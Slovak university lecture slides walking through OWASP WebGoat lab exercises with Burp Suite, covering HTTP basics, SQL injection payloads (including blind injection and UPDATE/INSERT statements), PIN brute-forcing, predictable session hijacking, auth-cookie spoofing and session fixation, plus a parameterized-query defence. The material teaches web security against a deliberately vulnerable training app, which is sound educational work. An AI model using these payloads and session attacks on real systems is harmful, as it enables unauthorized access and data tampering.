Bezpečnosť webovských aplikácií (2. časť)

Richard Ostertág

Katedra informatiky
FMFI UK, Bratislava
ostertag@dcs.fmph.uniba.sk

2011/12

Inštalácia prostredia 1

Stiahnuť a nainštalovať nasledovné aplikácie:

- burp suite free edition v1.4.01
  - Stiahnuť `burpsuite_v1.4.01.zip` z `http://portswigger.net`
  - Rozbaliť `.zip` do adresára `c:/Temp`
  - Upraviť `suite.bat` na `java -jar burpsuite_v1.4.01.jar`
  - Spustiť `suite.bat`
  - Získame proxy bežiacu na `localhost:8080`
- alternatívou je OWASP WebScarab Project

- OWASP WebGoat V5.3
  - Stiahnuť `WebGoat-OWASP_Standard-5.3_RC1.7z` z `http://www.owasp.org/index.php/OWASP_WebGoat_Project`
  - Rozbaliť `.7z` do adresára `C:/Temp`
  - Spustiť `webgoat.bat`
  - Navštíviť `http://localhost/webgoat/attack`

Inštalácia prostredia 2

- Nastaviť proxy server pre prehliadače:
  - Zaškrtnúť voľbu
    Internet Options ⟩ Connections ⟩ LAN settings ⟩ Use proxy server
  - Odškrtnúť voľbu
    Bypass proxy server for local addresses
  - Do nasledovných polí zadať:
    Address: `localhost` Port: 8080
  - V rozšírených nastavenia skontrolovať prázdnosť poľa výnimiek

- Poznámky:
  - Zdá sa, že Internet Explorer 9 ignoruje Bypass proxy for local addresses
  - Pokiaľ na porte 80 už beží nejaký iný server, je možné WebGoat sprevádzkovať aj na inom porte (`./tomcat/conf/server.xml`).

Základy HTTP (GET request, response)

- GET request

```
GET /webgoat/attack HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: sk-SK,sk;q=0.8,cs;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Charset: windows-1250,utf-8;q=0.7,*;q=0.3
```

- Response

```
HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
WWW-Authenticate: Basic realm="WebGoat Application"
Content-Type: text/html;charset=utf-8
Content-Length: 954

<html>...</html>
```

- Po obdržaní tejto odpovede prehliadač zobrazí dialógové okno pre zadanie mena a hesla.

Základy HTTP (basic authentication)

- Po zadaní hesla sa vygeneruje nasledovná odpoveď:

```
GET /webgoat/attack HTTP/1.1
Host: localhost
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: sk-SK,sk;q=0.8,cs;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Charset: windows-1250,utf-8;q=0.7,*;q=0.3
```

- Dekódovanie mena a hesla:
  - proxy ⟩ intercept ⟩ raw
  - vybrať podčiarknuté
  - context menu ⟩ send to decoder
  - decode as base64

  Dostávame `guest:guest`

Základy HTTP (response with cookie, POST request)

- ```
  HTTP/1.1 200 OK
  Server: Apache-Coyote/1.1
  Set-Cookie: JSESSIONID=46E4ABDC752B45CB489CBB5CBE764654; Path=/webgoat
  Content-Type: text/html;charset=ISO-8859-1
  Content-Length: 3774

  <html>...
      <form method="POST" name="form" action="attack?Screen=264&menu=100">
          Enter your Name: <input name="person" type="TEXT" value="">
          <input name="SUBMIT" type="SUBMIT" value="Go!">
      </form>
  ...</html>
  ```
- ```
  POST /webgoat/attack?Screen=264&menu=100 HTTP/1.1
  Host: localhost
  Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
  Referer: http://localhost:8888/webgoat/attack?Screen=264&menu=100
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Cookie: JSESSIONID=46E4ABDC752B45CB489CBB5CBE764654
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 25

  person=Katka&SUBMIT=Go%21
  ```

String SQL Injection

- `"SELECT * FROM employee WHERE userid = "+ userId +`
  `" and password = '"+ password + "'"`
- Password: `' OR '1'='1`
- odstrániť limit na maximálnu dĺžku vstupného poľa
- `"SELECT * FROM employee WHERE userid = "+ userId +`
  `" and password = '' OR '1'='1'"`
- Ochrana pomocou parametizovaného SQL

```
String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
PreparedStatement statement = connection.prepareStatement(query, ...);
statement.setString(1, userId);
statement.setString(2, password);
ResultSet answer_results = statement.executeQuery();
```

Numeric SQL Injection

- Prihlásiť sa ako používateľ Larry Stooge s heslom larry
- odchytiť ViewProfile pre Larry Stooge

```
POST /webgoat/attack?Screen=61&menu=1200 HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=64D654CDF1384E9F54F175928746838E

employee_id=101&action=ViewProfile
```

- URL encode: `101 or 1=1 order by salary desc`
- získaným reťazcom nahradiť podčiarknuté
- odoslať

Blind Numeric SQL Injection

- `101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 1000)`
- `101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 1000)`
- odchytiť
- context menu ⟩ send to intruder
- clear all payload markers
- vybrať 1000, add
- payloads ⟩ numbers
- from 2360 min digits 4, to 2370 max digits 4, step 1, min/max fraction 0
- options ⟩ grep ⟩ match ⟩ `Account number is valid.`
- intruder ⟩ start attack
- Heslo je 2364

Blind String SQL Injection

- `"SELECT * FROM user_data WHERE userid = " + accountNumber`
- `101 AND (SUBSTRING(`
  `(SELECT name FROM pins WHERE cc_number='4321432143214321'),`
  `1, 1) = 'J')`
- `2, 1) = 'i')`
- `3, 1) = 'l')`
- `4, 1) = 'l')`

Modifikácia a pridávanie záznamov pomocou SQL Injection

- Modifikácia záznamov pomocou SQL Injection
  - Použijeme ; na oddelenie príkazov
  - `'; UPDATE salaries SET salary=9999999 WHERE userid='jsmith`
- Pridávanie záznamov pomocou SQL Injection
  - Použijeme ; na oddelenie príkazov
  - `'; INSERT INTO salaries VALUES ('cwillis', 999999); --`

Hijack a Session

- Session cookie sa dá ľahko predikovať
- Prvá časť sú sekvenčné čísla
- Druhá časť sú milisekundy
- Odhytiť request na Hijack a Session
- Odstrániť WEAKID=. . .
- send to repeater

- Aby nebolo nutné hádať milisekundy:
  - Každý 29. pokus, sa preskočí jedno session ID
  - Preskočený identifikátor sa zobrazí v odpovedi
  - Pomocou neho sa potom dá prihlásiť do cudzej session

Spoof an Authentication Cookie

- Útočník môže obísť autentifikačnú kontrolu
- V tomto prípade je autentifikačná cookie vypočítateľná útočníkom
  - Pre používateľa `webgoat`:
    `AuthCookie=65432ubphcfx`
  - Pre používateľa `aspect`:
    `AuthCookie=65432udfqtb`
- Akú autentifikačnú cookie bude mať používateľ `alice`?
- Cookie sa tvorí zreťazením 65432 s otočením mena a posunutím jednotlivých písmen na ďalšie písmeno v abecede.

- Prihlásiť sa ako napr. používateľ `webgoat`, heslo `webgoat`
- Odchytiť request na Refresh
- Zmeniť `AuthCookie=65432ubphcfx` na `65432fdjmb`
- Odpoveď príde už akoby bol prihlásený používateľ `alice`

Session Fixation

- Po autentifikácii nedochádza k zmene session
- Útočník tak môže vynútiť použitie ním zvoleného session ID

- 1. krok: Pridáme `&SID=FixThis` na koniec linky v e-mailovej správe
  - Windows FIX: treba zmeniť aj časť URL z `WebGoat` na `webgoat`
- 2. krok: Kliknúť na Goat Hills Financial, zafixuje sa SID (viď. URL)
- 3. krok: `Jane` sa prihlási s heslom `tarzan`
- 4. krok: Pri prihlasovaní útočník vidí, že jeho `SID=NOVALIDSESSION`
- 5. krok: Útočník zmení svoje `SID` z `NOVALIDSESSION` na `FixThis`
- 6. krok: Po odoslaní URL vidí v prehliadači údaje prihlásenej `Jane`